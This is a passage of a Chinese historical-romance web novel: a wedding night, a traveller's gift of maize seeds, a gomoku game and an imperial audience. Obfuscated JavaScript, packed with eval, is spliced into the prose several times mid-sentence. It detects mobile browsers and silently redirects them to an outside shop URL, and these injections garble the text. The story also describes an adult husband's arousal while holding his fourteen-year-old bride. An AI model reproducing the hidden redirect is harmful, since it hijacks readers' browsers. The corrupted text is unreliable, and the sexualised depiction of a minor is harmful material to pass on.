霍抉松开握着姚知韫的手，起身去开门，门开处，邕王妃端着个红漆托盘站在门外，身后跟着两个侍女，手里各捧着一只描金匣子。 邕王妃笑着往里走，“这礼呀——还有最后一项。” 姚知韫忙从床边站起身，脸上红晕未褪，规规矩矩地行了一礼：“王妃。” 邕王妃摆摆手：“别别别，这会儿你可是新娘子，用不着行礼。”她把托盘放在桌上，揭开上面盖着的红绸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364145|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——盘里盛着满满一托盘花生、桂圆、红枣、莲子，喜气盈盈。 “这叫撤帐，也叫撒帐。”邕王妃端起托盘，走到床边，“新人坐好，咱们讨个好彩头。” 霍抉和姚知韫依言在床边坐下，肩并着肩。 邕王妃抓起一把，高高扬起，往帐顶撒去。那些干果哗啦啦地落在帐子上，又滚落到床上、地上，满屋都是清脆的响声。 她一边撒，一边念： “撒帐东，夫荣妻贵乐融融——。” 再抓一把，往西撒。 “撒帐西，百年好合永不离——。” 往南。 “撒帐南，儿孙满堂福如山——。” 往北。 “撒帐北，白头偕老长相随——。” 最后一把，高高扬起，往帐中央撒去。 “撒帐中，夫妻恩爱万事通！” 满屋的干果噼里啪啦地往下掉，有几颗落在姚知韫头上、肩上，她躲了躲，却没躲开，忍不住笑了起来。 邕王妃放下托盘，走到床边，弯腰从床上捡起几颗，塞进姚知韫手里。 “这个拿好了，压在枕头底下，花生要生的，早生贵子；红枣要红的，日子红火；桂圆要圆的，团团圆圆；莲子要连心的，心连着心。” 姚知韫低头看着手里的干果，又抬起头，对上邕王妃那双含笑的眼睛。 “谢谢王妃。” 邕王妃笑着拍拍她的手，又看向霍抉。 “霍侯，我可把新娘子交给你了。往后若是欺负她——，”她顿了顿，笑得意味深长，“我可不管你是侯爷还是什么爷，皇上面前，我也是能说得上话的。” 霍抉站起身，郑郑重郑地一揖。 “王妃放心。” 邕王妃点点头，又看了看姚知韫，目光里带着几分说不清的柔软。 “行了，礼成了，我走了，你们早些歇着。”她摆摆手，带着侍女出了门。 门轻轻合上。 屋里又剩下两个人，满地的干果还没来得及收拾，龙凤烛还在静静地燃着。 姚知韫又陷入了尴尬的境地，她偷偷瞥了霍抉一眼，心中不禁腹诽，他不是应该出去宴宾客吗？电视上都是这么演的。 他走了，她才好将这满头珠翠拿下来，这冠看着好看可也好重，压了一天，脖子已经到了极限，还有这一身繁复的礼服，里三层外三层，没人帮忙她一个根本脱不下来。 最重要的是，她从早上起来就只吃了一小碗鸡蛋羹，一天折腾下来，早就饿得前胸贴后背了。 他若是不走，她什么都做不了，可这话，叫她怎么开口？ 霍抉侧首，看着她那张脸上的表情瞬息万变。 先是红着脸羞怯，又悄悄翻了个白眼，接着不着痕迹地转动脖子，眉头轻轻蹙一下，最后，她眼角余光瞥了他一眼，那一眼，说不出的哀怨。 霍抉忍了忍，没忍住，弯了弯唇角。 若不是外头还有那么多宾客等着，他真恨不得就这么一直看着她。 “韫儿，”他缓缓站起身，终于开了口，声音低低的，带着笑意，“累了就早些歇息，不用等我，我去去就来。” 说完，他低下头在她额头上印下一吻，才转身离开。 69. 第 69 章 房门一合上，姚知韫终于长长地松了一口气。 她扬声唤了小桃进来，小桃应声而入，手脚麻利地替她卸去那一身繁复的衣裙，一层又一层，珠翠一支又一支，又仔细卸去唇上的口脂，足足忙了小半炷香的工夫。 待那些沉重的束缚尽数褪去后，她才拿起换洗的衣裙，去了按照她房间的配置设计的浴室。这浴室是按她在姚府的房间样式设计的，靠墙一只大木桶，桶底有暗渠通着外头的炉火，随时都有温热的水可用。她浸进水里，温热滑过肌肤，整个人像是从里到外被泡软了。 她闭上眼，让热水漫过肩头，把这一日的疲惫一点点洗去。 不知过了多久，她才起身擦干，穿上那件特制的睡衣——宽宽松松的连衣裙样式，没有那么多束缚，屋里烧着地龙，暖意融融，即便只穿着单衣，也不觉得冷。 待她收拾妥当从浴室出来，小桃已经在桌上摆好了一碗面，热腾腾的，汤清面白，上面卧着一个荷包蛋，撒着几粒葱花。 姚知韫在桌边坐下，她很饿，饿得能吞下一头牛，可吃相依然斯文——这是刻在骨子里的习惯，改不掉的，一口一口，细嚼慢咽，吃得赏心悦目。 桌上还摆着几碟点心，是下午送来的喜糕喜饼，做得精巧，花纹繁复。可她连看都没看一眼。那些硬邦邦的点心，她从小就不爱吃。 一碗面下肚，整个人才彻底活过来。 她放下筷子，长舒一口气。 门被轻轻推开，霍抉放轻了脚步，生怕惊扰了她。 屋里只留了一盏灯，烛火压得低低的，光晕昏黄，拢着床的方向，他走过去，站在床边，低头看着那个小小的人。 她已经睡着了。 缩成小小的一团，侧躺在床上，脸埋进枕头里，只露出半边脸颊，头发编成一个松松的辫子，垂在胸前。烛光落在她脸上，把那层睡出来的红晕映得格外柔软。 她依然坐在习惯的左边，靠近窗户的位置，厚厚的窗帘拉得严严实实，不透一丝光，像是把整个屋子裹进了一个安静的茧里。 被子盖在胸口，领口微微敞开，露出一截细细的脖颈，呼吸均匀而绵长，胸口轻轻起伏着，一下，又一下。 她真的没有等他。 霍抉笑了一下。 她从来不是那种会乖乖等着夫君回来的新娘子，她有她的习惯，她的节奏，困了就睡，饿了就吃，不会为了任何人委屈自己。 他喜欢她这样。 他在床边轻轻坐下，伸出手，想摸摸她的脸，又怕惊醒她，手指悬在半空，顿了顿，最后还是收了回来。 就这么看着她，也很好。 烛火跳开一朵小小的灯花。 他站起身，去了浴室，简单地洗漱后，又轻手轻脚地回到床边，轻轻在她身边躺下，手从她颈下穿过，轻轻揽住她的肩，另一只手绕过她的腰，把她整个人往怀里拢了拢。 姚知韫的身子微微一僵，她在他躺下的那一刻便醒了，这一日的疲累是真的，可此刻的清醒也是真的，她闭着眼，努力让呼吸保持方才的绵长均匀，可心跳却不受控制地快了起来。 此刻，她才突然意识到一个问题。 今日是洞房，可她这具身体只有十四岁。在她的意识里，十四岁还未成年，她可以接受这个时代的规则，可这件事，她心理上实在接受不了。 她知道每个世界都有自己的规则，既然要在这里活着，就该遵守这里的规则，可知道是一回事；接受是另外一回事。 她不知道接下来该怎么做，拒绝还是配合，只能装睡，希望霍抉没有发现，能蒙混过关。 她僵着身子，一动不动，连呼吸都不敢乱了。 霍抉是何等警觉的人，又怎么会不知道她已经醒了？ 但他没有动，也没有拆穿她，只是将她抱在怀里，把头埋进她的颈侧，便没了别的动作。 怀里的人依然绷着身子，那细微的颤抖透过薄薄的衣衫传过来，一下一下，敲在他心上。 他心下欢喜，又有些心疼，轻轻地在她耳边低声道：“睡吧！一切都等到你及笄之后再说。” 说完，便闭上了眼睛，不一会儿呼吸渐渐绵长。 姚知韫等了很久，感受着他放松的身体，终于长长吐出一口气，绷紧的身子慢慢软下来，呼吸也变得均匀，不一会儿真的睡了过去。 霍抉睁开眼，黑暗中，他低头看着她安静的睡颜，此刻的她毫无防备地靠在自己胸口的样子。 身下的炙热烧得他难受，甚至疼痛，可他没有动，她还小，再等等，他在心里默念着这句话，一遍又一遍。 可软香在怀，他又怎么可能平心静气？她的呼吸喷在他胸口，痒痒的；她的发丝蹭在他下巴，软软的；她整个人贴在他身上，暖暖的。 他知道自己应该离得远一些，让自己冷静冷静，可他舍不得，舍不得松开，更舍不得这个等了两辈子才终于抱在怀里的人。 那就只能辛苦自己了。 他苦笑一下，把她又往怀里带了带，闭上眼睛。 再一次告诫自己——忍吧！ 但他，甘之如饴。 一夜无梦。 姚知韫睡得极其安稳，这是往日从未有过的，一直以来，虽不是噩梦缠身，但也称不上安枕无忧，可昨夜，竟然一觉到天亮。 意识渐渐回笼，她先是露出一个心满意足的笑，接着便将双手举过头顶，双腿绷直，伸了个大大的懒腰，她甚至没有睁开眼睛，像一只睡足了觉的小猫，将松软的锦被抱在胸前，下颌轻轻蹭了蹭，准备再偷懒一会儿。 “醒了？”霍抉低沉含笑的声音从头顶传来。 姚知韫所有的动作瞬间顿住，她倏然睁开眼，对上了霍抉含笑的眼眸，正满是宠溺地看着她，不知道已经看了多久。 一瞬间恍然，对哦，昨日她成婚了。 脸几乎是在瞬间泛红，她反射性地将脸埋进锦被里，整个人缩成一团。 锦被里闷闷的，透不过气，可她就是不肯出来，无论霍抉如何哄，她就只是不说话。 姚知韫躲在被子里，心跳得飞快，方才那股满足的劲儿，此刻全变成了羞赧，她刚才的那副样子，他肯定全看见了。 天哪。 她没脸见人了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366852|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>头顶传来一阵轻笑，低低的，带着些许的沙哑，被子被轻轻拉了拉，她下意识地攥紧，不肯松手。 “韫儿，你再不起来，徐退之可就要走了。”霍抉并不着急，语气淡淡的。 徐退之？ 那个走遍大江南北，四海九州的人？是了，霍抉说过，他会来参加他们的婚礼。 姚知韫猛地一把掀开被子，脸色依旧绯红，却已经没了羞怯。 霍抉望着那张被捂得红扑扑的小脸，额角还有几缕散落的碎发，眼睛却如星光般灿烂，那期待的眼神，让霍抉忍不住心里酸酸的。 却到底还是舍不得对她有一丝一毫的责备，“已经在前厅等候了，还不起来？” 姚知韫眨眨眼，一把掀开被子，跳下床，一溜小跑地奔向浴室。 只留霍抉站在原地，看着那抹消失的背影，宠溺地摇了摇头。 姚知韫出来的时候，已经换上了一件藕荷色的小袄，配了一条碧青色的马面裙，本准备如往常般简单地将头发盘起，突然想到一会儿要见的是霍抉的朋友，出于尊重，也不能随意，略作犹豫后便唤了小桃进来。 小桃的手很巧，几下翻飞便将她的长发盘好，梳了一个?髻，挑了一支小巧的挑心簪斜插在髻心。 她对着镜子看了看，发髻端庄清爽，虽无珠翠点缀，却胜在简净。 缓缓抬头便看见镜中的霍抉，他不知何时已经站在身后，他今日穿了她中秋投壶时候答应他做的道袍，秋香色的袍子将他衬得眉眼柔和，就连脸上的笑意都显得格外温润。 “走吧。”霍抉伸出手，执起她的手，往外走去。 早膳被霍抉安排在归雁居前院的东次间，选在这里，足见徐退之等人与霍抉之间，并非寻常的交情。 霍抉牵着姚知韫迈进门，东次间已经有三人，吴稚跃与沈知节，她是认识的，一个玩世不恭，一个沉稳持重，另外一位男子看上去比其他人年长一些，气质却与两人截然不同。 他约莫四十，穿了一件半旧的石青色直裰，袖口微微卷起，露出一截被晒得黝黑的手腕，生得不算出众，可站在那里便显出几分与众不同的气度来，一种说不清的疏阔，像是站在哪里，哪里便有了山野的风。 他的目光落在姚知韫身上，却没有审视，只是温和地看了一眼，便移开了。 霍抉引着他们互相见了礼。 吴稚跃依然是一副玩世不恭，却难得正色地唤了一声“嫂子”。 沈知节则是如往常般端方，抱拳行礼，却是郑重地唤了一声“夫人” 只有徐退之笑了笑，声音涓涓，如山涧溪水流过石头，“这便是弟妹了。”他看着霍抉，却不是疑问。 说罢，他才转身与姚知韫见礼，“徐某是个粗人，不会说话，弟妹不要见怪。”他说自己是‘粗人’，可语气里没有半分自贬，反倒透着一股自在。 姚知韫看着他，旷达、疏朗、自在，像山、像水、像风。 她唇角含笑，端端正正回了一礼，“徐先生，好。” 这是她第一次以霍抉妻子的身份，与他的至交好友见面，自然不能少了礼数。 70. 番麦 几人互相见礼后，便分主次坐下。 桌上已经摆上了清淡的小菜，既有下人常吃的蔬菜，也有暖棚里摘来的新鲜蔬菜，还有姚知韫腌制的各类酱菜，虽没有满桌的珍馐，却都是家常。 徐退之笑着从身后的小几上，拿过一个泥瓦盆，里面有几片肥厚的叶子，“沉舟说弟妹喜欢侍弄花草，这是我无意在西域所得，送与弟妹做新婚贺礼，希望弟妹莫要嫌弃。” 姚知韫眼睛澄亮，竟是芦荟！这东西可真是稀罕，“先生过谦，如此珍贵之物，怎敢嫌弃。”欢欢喜喜地接过，小心翼翼地递给身后的小桃，眼睛再也无法从那盆芦荟上移开，倒不是说没见过，只是她知道芦荟本就是外来物种，即便是鼎盛明朝也是极其珍贵之物。 再一次地道了谢，这才落座。 遵循着‘食不言寝不语’的规矩，姚知韫并未多问，只是简单吃了几口，便起身告退，将空间留给了霍抉，他们多时未见，应是有很多话要说，而她也需准备谢礼，答谢邕王妃与王夫人。 徐退之望着她离去的背影，心中暗暗赞许，对霍抉这位新妇，又多了一分认知，懂礼数，知进退。 他收回目光，思绪却飘回五年前，那年他一路往西到了一个叫沙城的地方，那里黄沙漫漫，十年九旱，三年两不收，他在大漠中迷了路，水也喝完了，吃的也没了，差点死在那里，是霍抉路过，将他从鬼门关拉回来。 后来两人常常互通书信，不知道什么时候开始，霍抉常常托他带一些稀罕物件，不拘什么，后来一打听，你大概就知道是给这位姚姑娘的。 五年来，他走遍大江南北，每到一处便想着霍抉的嘱托，西域的种子，海外的香料，但凡稀罕的东西，都要带上一份。 他见证了霍抉对她的用心，也担心霍抉会受伤，也替他悬着一颗心——这样掏心掏肺地待一个人，若是个不知好歹的，该多让人心疼。 所以霍抉说要成婚，他是无论如何也要来见一见的。倒要瞧瞧，这位姚姑娘究竟有何魅力，能让那样自持的霍抉，只将她一人放在心上。 今日一见，他倒是有些明白了。 生得美是一回事，可这世上好看的人多了，难得的是那身气度——不卑不亢，落落大方，该说话时说话，该告退时告退，分寸拿捏得恰到好处。 常嬷嬷已经将回礼准备好了，只等姚知韫发话。 四色点心自然是少不了，姚知韫还记得昨日梳发时邕王妃对她的头发的喜爱，便吩咐小桃将她自制的洗发皂装上两块，又到暖棚摘了满满一篮子新鲜蔬菜，再添上一罐茉莉花茶，一罐菊花茶，都是她亲手窨制的。 给王夫人准备的回礼，在这个基础上多了一个她亲手绣的抹额，抹额上绣着她亲手绘制的栀子花，素雅洁净。 唤来了青木和风叔，让青木去了邕王府，而风叔则是去了昌平伯府，青木代表的是霍抉，风叔则代表的是她自己，仔细叮嘱一番，务必将回礼亲自送到两府上。 送走两人，她又与常嬷嬷一道，核了昨日喜宴的开销。虽是礼部操办的婚礼，但霍抉为了给她最好的，许多都是额外从外头请来的，自然要侯府自己结账。一笔笔对下来，竟也忙碌了半晌。 待她终于能坐下来喝口茶时，才发现日头已移到正中。 午时了。 她唤来芙蓉，让她去前头看看徐退之他们可还在，也好安排午膳。 芙蓉很快回来禀报：吴稚跃与沈知节均已离去，只剩下徐先生还在。侯爷吩咐，让夫人将午膳依旧摆在东次间，一起用饭。 侯府厨房上是霍抉提前安排的人，手艺自然不在话下，姚知韫将琐事交代妥当，便带着小桃往东次间去。 刚进门，霍抉便站起来迎了上来，徐退之也站了起来，含笑而立。姚知韫得体地回礼，便被霍抉引着在身边坐下。 午膳吃得也很安静，下人进来撤了碗碟，换上热茶，话题这才慢慢聊开了。 姚知韫依然是静静的，听得多，说得少，偶尔插上一两句，也得徐退之两句夸赞。 只是霍抉没有忽略她眼底的艳羡与向往，心里暗暗下定决心，“韫儿，再等等我，清除一切障碍后，我便带你远离纷扰，游历天下。” 徐退之说：“站在莲花峰顶，脚下是云海翻涌，太阳一出来，云海被染成金红色，就像站在了天上。” 姚知韫便接了一句她读过的：“左天都，右莲花，背倚玉屏风” 徐退之诧然道：“弟妹去过？” “不曾，书上读过，”姚知韫淡淡地笑着。 徐退之说得更起劲了些：庐山的瀑布，黄山的云海，天台山的溪水潺潺，华山的险峻，泰山的日出。 姚知韫低低地回上一句，“五岳归来不看山，黄山归来不看岳。” 徐退之笑着，又说起蜀地的淳朴，云贵的竹楼，西域的回回墓—— 姚知韫听得入神，目光悠远，像是也跟着他，走了一遍那些山山水水。 接着徐退之站起身，出去后再进来，身后跟了两个人，抬着一个樟木箱，“弟妹，这是我这次去了西北带回来的一些小玩意，沉舟说你喜欢，我就顺手带了些。” 好大的一个箱子，徐退之一样样地拿出来，放在桌面上，都是新奇的玩意。 “这叫戈壁玉，当地人说是风沙打磨出来的，在戈壁滩上捡的，不是什么金贵的物什，就是图个新鲜。” 姚知韫拿起，触手温润，对光一看，透着淡淡的青色。 “沙漠里的胡杨木，当地人用来做念珠，”接着拿出的是一串珠子，黑褐色的，大小不一，用绳子穿着。 “胡杨，生而不死一千年，死而不倒一千年，倒而不朽一千年，三千年不朽之木的珠子，自然是珍贵的。” “弟妹，书读得多，知道得也多，确实如此。”徐退之眸光微闪，看向姚知韫的目光便多了些东西。 “番红花的种球、胡椒——”琳琅满目，徐退之满满摆了一桌子。 接着他将布袋子取出搁在一边，在下面压着一个油纸包，打开来，是一本薄薄的册子，封面没有题字，翻开一看，竟是一本手绘的草木图，有些她认得，有些从未见过。 “受沉舟所托，这一路走下来，遇见的花花草草，随手画了几笔，不成敬意。” 姚知韫捧着那本册子，看向霍抉，一时不知该说什么，她当然知道，徐退之做这些自然都是看霍抉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366853|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面子。 徐退之将方才搁在一旁的布袋推到霍抉跟前，推到霍抉跟前。 “你让我找的农作物的种子，我找了一路，只找到了这个，这是我赤金偶然遇到一个商队，他们吃的就是这个，我瞧着稀奇，用了十两银子与他们换的，他们管这个叫‘番麦’，我也问了种植之法，但他们说的含糊。” 霍抉接过，解开袋子，抓出一把金黄的籽粒。 那些籽粒比麦粒大得多，一颗颗饱满圆润，在光下泛着温润的光泽。他看了看，又放了回去，没说话。 只是面色微微沉了沉。 三年前大晋的北方曾经有过一场大旱，他至今记忆犹新，自春徂夏，滴雨未落，禾草皆枯。赤地千里，饿殍载道。 他还记得当年从京城到燕州，一路往北，遍及大晋半壁江山。他犹记得燕州知州上疏：“臣自静海抵临清，见人民饥死者三，疫死者三，为盗者死，米石银二十四两，人死取以食。” 国库空虚，军中粮草尽断，胡人群起，如饿狼扑食，一路烧杀抢掠，如入无人之境。 那一年，二皇子登基刚满一年，民间传闻是二皇子德不配位，触怒上天，降下的天罚。 大晋风雨飘摇，是护国公杨老将军以死相搏，才保住这岌岌可危的江山。 可刚安定没多久，便被崔家人陷害，背上了谋反的罪名，满门抄斩。 这一次，无论是为了私怨还是公理，他都不能允许赵鹤轩坐上那个位置。 这些年他托徐退之找了许多作物，希望能挽救民众于水火，只是寻觅多年，均是无果。 这一次，也只是看了看，没抱太大的希望。 “等等——”，姚知韫忽然出声，声音里带着一丝慌乱，还带着隐约的兴奋。她的眼睛亮得惊人，盯着那个布袋，手指微微发颤。 徐退之愣住，霍抉也看向她，“弟妹认识？” 何止是认识。 她太认识了。 爸爸的试验田里，每到秋天便是一片金黄。她那时候虽然病着，可每到初秋，爸爸总会掰几根嫩玉米回来，煮给她吃。那味道，又甜又糯，满屋子都是香气。 后来病重了，吃不了硬东西，爸爸就把嫩玉米磨成糊，熬成粥，一勺一勺喂她。 她盯着那两根玉米，手指微微发颤。 这东西，能活人命的。 “弟妹，”徐退之试探着开口，“你……认得这个？” “番麦，也叫番麦，种下去三四个月就能收，一株能结两到三个穗。一个穗能有几百颗这样的籽粒，不仅产量高，还极其耐旱，贫瘠的山地也能种。” 霍抉握着茶盏的手微微一紧，若是有这样的作物，再有她暖棚里的那个土豆，那三年后的大旱，是否可以避免？ “这些？弟妹也是从书上看到的？”徐退之自认见多识广，他可没见过这样的书，“不知道弟妹是否可以告知是那样的书？” 姚知韫微微一怔，停顿了片刻，才缓缓开口，“在一本杂记上看过，具体的名字，忘记了。” 徐退之知道这事不便说明，但没有追问，只是看向霍抉的眼神多了一丝调侃，仿佛在说，你这位夫人，藏得有些深。 71. 进宫 霍抉定定地看着姚知韫，不知道要说什么，只低低唤了一声，“韫儿——” “我可以先少些的种子在暖棚里面试试，若是能出苗，开春就能下种，”姚知韫说着，突然语气突转，语气忽然带上了一丝狡黠的调皮，“不过——我不想翻地。” 霍抉愣了一下，随即笑了，“我来。” 简单的两个字，氛围瞬间轻松下来。 霍抉博学多才，徐退之见多识广，而姚知韫的脑子里有着五千多年文明的积淀，谈古论今，信手拈来，甚至还能给徐退之建议，说得海的那边别有天地，引得徐退之跃跃欲试。 一时间，三人相谈甚欢，竟忘了时辰。 直到日头西斜，常嬷嬷进来问晚膳如何安排，才将三人从兴致中拉了回来。 徐退之起身告辞。明日一早，他便要启程，去往更广阔的天地。 霍抉知道他性情洒脱，从不久留，也不曾挽留，只亲自送他到府门口。 暮色四合，两道身影立在门前的灯笼光里，相对无言，却又似说了千言万语。 徐退之拱了拱手，翻身上马。 马蹄声渐行渐远，最终融进了暮色深处。 霍抉回来时，归雁居的灯火已经亮起来了，暖黄的光从窗棂间透出来，在这渐浓的夜色里，显得格外温暖。 他推门而入，桌上已经摆了简单的晚膳，姚知韫就坐在桌前，手里翻动着那本草木图册，一页一页翻得认真，听见动静，她抬起头来，眉眼弯了弯。 “走了？” “嗯”，霍抉走过去，在她身边坐下。 姚知韫点点头，将册子收起来，拿了馒头递到霍抉手上。 “今日——谢谢！” 谢谢他满足了她的愿望，听到了那么多有趣的故事。也谢谢他给予她的尊重与——自由。 霍抉接过馒头，看着她的眼睛，正要说什么，姚知韫已经低了头，往他碗里夹了一筷子菜。 “明日，我们要进宫谢恩，让常嬷嬷跟着你，宫里我也做了安排，你放心去。” “嗯” 霍抉见她喝了一大碗汤，便笑着说，“灶上元婆婆，无儿无女，对吃食很有研究，以后想吃什么尽管告诉她。” 两人就这么有一搭没一搭地聊着，慢悠悠地用完晚膳。 有陌生的丫鬟进来撤了碗碟，又上了热茶，又悄然退了出去，井然有序。 屋里只剩下两个人。 姚知韫窝在软榻上，又捧起那本草木图册，烛火映在她的脸上，神情专注。 霍抉坐在她旁边，什么都不做，只是静静地看着她，看一会儿便低低地唤一声“韫儿”，姚知韫也低低地应着。 一遍又一遍，不厌其烦。 姚知韫没有抬头，霍抉也没有停下。 只是霍抉的语气起了几分怨意，心里有些嫉妒起那本书来，念头一起，便动了手，伸手将她手中的书抽走，趁着姚知韫还未来得及恼怒，便快速地说，“下棋吧！” 姚知韫笑笑，无可厚非地耸了耸肩。“好呀！” 几局下来，霍抉依旧负多胜少，眉心也是越皱越深，看得姚知韫倒是有了几分乐趣，男人的胜负欲总是来得那么猝不及防。 “换种玩法吧！”姚知韫落下最后一子。 霍抉抬头，眉尾一挑，“怎么换？” “五子棋玩过吗？”姚知韫问道，但并不等他回答便自顾自地说，“无论是横竖还是纵横，只要将五子连成线，就算赢了。” 说着，姚知韫便将一子落在了天元，霍抉执黑，落子在侧，两人你来我往，落子声清脆珠落玉盘。 开始的几局，两人有胜有负。 时辰不早了，姚知韫有些累了，霍抉却来了兴致，非要拉着她再来一盘。 “最后一盘。” 窗外，夜色深沉，屋内，烛火摇曳。 棋盘上的子越来越多，下到四五十手的时候，霍抉忽然觉得不对劲。姚知韫每下一步，似乎都不是随意落的，她的棋子分布极其有规律，像是布了什么阵。 看着她落下的一子，这一步看似放得随意，可配合周围的几颗黑子，竟隐隐有了包围之势。 他又下了几步，越下心越惊。 她的每一步，都是提前计算好的，她的棋不追求局部杀招，也不步步紧逼，而是整体布局，像一张网，慢慢收紧。 终于，她落下一子。 “你又输了。”她抬起头，面上带着俏皮。 霍抉低头一看，棋盘上的黑子连成五颗，不是寻常的直线，而是一个微妙的斜角，他竟完全没有注意到。 他怔了怔，盯着棋盘。 姚知韫只是笑着站起身，径直去了浴室。 出来的时候，霍抉还在研究她的棋盘，姚知韫走近，“想知道？” 霍抉挑眉，“愿闻其详。” 姚知韫拿起一颗黑子，在指尖转了转，指着棋盘上的几处落点： “这里、这里，还有这里——把棋盘分成九块，每块有一个分数。活四一百分，活三六十分，活二三十分。每一步落子，都算一遍这九块的总分。” 她指着刚才那记绝杀的位置：“这块地方，我算了五步。你的白子在这里、这里、这里三处，堵不住我的路，算到最后，这里一定是我的。” 霍抉听着，目光落在棋盘上，久久没有移开。 半晌，他忽然笑了。 “就像那日投壶一般，计算好弧度，便可以轻松投入？”霍抉眼底满是宠溺，她真的太聪明了。 霍抉洗漱好出来，姚知韫已经歪在床上睡着了。 她斜倚在床头，头歪向一侧，长长的头发依然编成一条松软的辫子，垂在肩头，手里还握着一本书，搁在胸口，随着呼吸轻轻起伏。 他缓缓靠近，小心翼翼地将她放平，轻轻抽走手上的书，置于床头小几上。 他坐在床头，低头看着她，看了很久，她的睡颜安静得像一汪湖水。 她身上总是藏着很多秘密，越是靠近，越是了解，越是看得清楚，那些不经意间，流露出来的见识，还有不该属于这个年纪的沉静，那偶尔闪过的迷茫。 可她不说，他便不问，有秘密又不是什么大不了的事情，他也有，难道还能比他的那个更大吗？ 他弯了弯唇角，俯身替她掖了掖被角，才转到另一边，缓缓躺了下去。 刚刚躺平，姚知韫翻个身，自然而然地滚进他的怀里，像只寻着暖意的小猫，在他胸口蹭了蹭，找到一个舒服的位置，又沉沉睡去。 那动作熟练极了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373589|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，像是已经做了好多遍，就该是这个样子。 他身子僵了一瞬，露出一个无奈的笑容，手臂环过肩膀将她拢得更紧一些，心里有多愉悦，身下就有多煎熬，可手还是不舍得离开。 即便如此，可他就是觉得，这样才叫活着。 人已经站在宫门口了，姚知韫人还是晕晕乎乎的，天还没亮她便被小桃从被窝里挖了出来，梳妆更衣，那一身的诰命服更是比婚服还要繁琐，一层叠着一层，穿在身上，她觉得自己像被裹进了一个华丽的茧里。 她侧过头，看了看身边的霍抉。 他穿着赤罗朝服，七梁冠正，玉带束腰，每一步都走得端方持重，威仪赫赫，可就是看着不像他了，平日里，她看到的他，穿着总是随意的，不是道袍就是直裰，眉眼也柔和，笑意温润。 此刻的他，眉峰冷峻，目光沉凝，唇线抿成一条锐利的弧，周身透着一股生人勿近的凛然，她想过他是武将，浸淫朝堂，驰骋沙场，会有所不同，可不应该是这个样子，冷厉，肃杀，戾气沉沉，像一把敛在鞘里的刀，随时可能出鞘见血。 难道，这才是真的他？ 霍抉仿佛感受到了姚知韫的目光，心里咯噔一下，吓到她了？ 他伸出手不着痕迹地握住她的手，笑了笑，脸上柔和了不少，姚知韫回了一个笑。 皇宫比她想象的要巍峨得多，红墙碧瓦，南北中轴线上殿宇层层叠叠，两人由内侍引导，从侧门入宫，走过一道又一道的宫门，穿过一个开阔的广场，终于在一座偏殿前停了下来。 哪里又有新的内侍早早候着。姚知韫不着痕迹地瞥了一眼，宫门大开，匾额上写着承乾宫，内侍在阶前止步，便又换了新的内侍领着他们去了偏殿，姚知韫心下不禁腹诽，从宫门到这里，换了三个内侍，皇宫的规矩还真是大。 姚知韫随着霍抉，落后半步进了偏殿，殿内高阔，金龙和玺彩画在梁枋间熠熠生辉，鎏金香炉中青烟袅袅，后檐屏风前，皇帝端坐于宝座之上，身后‘正大光明’匾高悬，两旁甪端、香筒依次排列，香烟缭绕间，帝王的威仪扑面而来。 霍抉趋步向前，在距宝座三丈之处站定，跪拜行礼，“臣霍抉，携新妇姚氏，参见陛下。” 姚知韫紧随其后，在霍抉的身后跪了下来，常嬷嬷进宫前教过她规矩，她一一记着，此刻便一一照着做。 跪，叩首，再叩首，三叩首。 一套礼行下来，动作虽不算行云流水，却也挑不出差错，只是她垂着眼，余光只能看见身前的霍抉的背影，和殿内一片金碧辉煌的地砖。 殿内静了一瞬。 然后，一个声音从上方传来，不高不低，却带着一种让人不敢忽视的分量，“平身。” 霍抉起身，姚知韫也跟着站起，仍微微垂首，目光落在自己脚尖前三寸处。 皇帝没有说话，那沉默像一炷香，细细地燃着，不疾不徐，姚知韫能感觉到那道目光落在自己身上，带着审视，一种无形的压迫感。 她没有抬头，也没有躲闪。 只是静静地站着，有人用那道目光从上到下，又从下到上，慢慢地打量了一遍。 半晌，皇帝的声音再次响起。 “抬起头来，” 姚知韫深吸一口气，缓缓抬起头。 72. 噩梦 